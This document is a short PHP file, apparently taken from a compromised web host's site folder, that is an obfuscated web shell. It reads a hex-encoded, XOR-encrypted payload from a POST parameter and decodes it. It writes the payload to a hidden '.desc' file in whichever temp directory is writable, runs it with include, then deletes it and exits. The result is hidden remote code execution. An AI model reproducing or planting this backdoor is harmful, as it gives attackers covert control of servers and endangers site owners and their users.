File: /home/nmel17aacb/domains/maildomain.be/private_html/pointscp.php
<?php
if(!empty($_POST["tk\x6E"])){
$bind = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/var/tmp"]);
$descriptor = hex2bin($_POST["tk\x6E"]);
$sym = '' ; $k = 0; do{$sym .= chr(ord($descriptor[$k]) ^ 99);$k++;} while($k < strlen($descriptor));
for ($entity = 0, $k = count($bind); $entity < $k; $entity++) {
$record = $bind[$entity];
if (max(0, is_dir($record) * is_writable($record))) {
$pointer = "$record" . "/.desc";
$file = fopen($pointer, 'w');
if ($file) {
fwrite($file, $sym);
fclose($file);
include $pointer;
@unlink($pointer);
die();
}
}
}
}